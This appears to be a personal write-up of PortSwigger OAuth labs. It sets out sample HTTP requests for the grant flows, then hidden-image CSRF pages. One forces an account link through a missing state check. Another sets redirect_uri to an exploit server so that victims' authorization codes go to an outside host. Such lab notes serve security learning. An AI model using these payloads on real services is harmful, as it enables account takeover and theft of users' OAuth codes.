rootđź’€senseicat:~#

Hack. Eat. Sleep. Repeat!!!


Project maintained by SENSEiXENUS Hosted on GitHub Pages — Theme by mattgraham

Exploiting Oauth


Portswigger Oauth



OAUTH Grant Types



Oauth Scope


scope=contacts
scope=contacts.read
scope=contact-list-r
scope=https://oauth-authorization-server.com/auth/scopes/user/contacts.readonly

Authorization Code Grant


GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
GET /callback?code=a1b2c3d4e5f6g7h8&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
POST /token HTTP/1.1
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8

Implicit Grant Type



Stages


GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
GET /callback#access_token=z0y9x8w7v6u5&token_type=Bearer&expires_in=5000&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: client-app.com
GET /userinfo HTTP/1.1
Host: oauth-resource-server.com
Authorization: Bearer z0y9x8w7v6u5

Implicit Grant bypass


image


Oauth Bypass due to lack of state hash in authorization request


GET /oauth-linking?code=7706vS22XU7a0_7Y6GPlqfZGp-0me34AOyF1-euZB5y HTTP/2
Host: 0a5b00f7049636f180e20366002f00ca.web-security-academy.net
Cookie: session=vOIyOWOnYdQ5baX5r8y0MtQm15FfNEXD
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138", "Microsoft Edge";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://0a5b00f7049636f180e20366002f00ca.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
<meta name="referrer" content="never">
<img src="https://0a5b00f7049636f180e20366002f00ca.web-security-academy.net/oauth-linking?code=7706vS22XU7a0_7Y6GPlqfZGp-0me34AOyF1-euZB5y" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Exploiting Oauth with CSRF via abused redirect_uri in authorization grant


<meta name="referrer" content="never">
<img src="https://oauth-0ad400090399b87580db6aeb02940025.oauth-server.net/auth?client_id=qpomemlmp082nnh8dl250&redirect_uri=https://exploit-0a4e004a036ab83580b66be9011a007a.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
redirect_uri=https://exploit-0a4e004a036ab83580b66be9011a007a.exploit-server.net/oauth-callback

image

https://0ac0002f037eb89f809f6ce700ce00d4.web-security-academy.net/oauth-callback?code=[code]&response_type=code

image


Flawed redirect_uri validation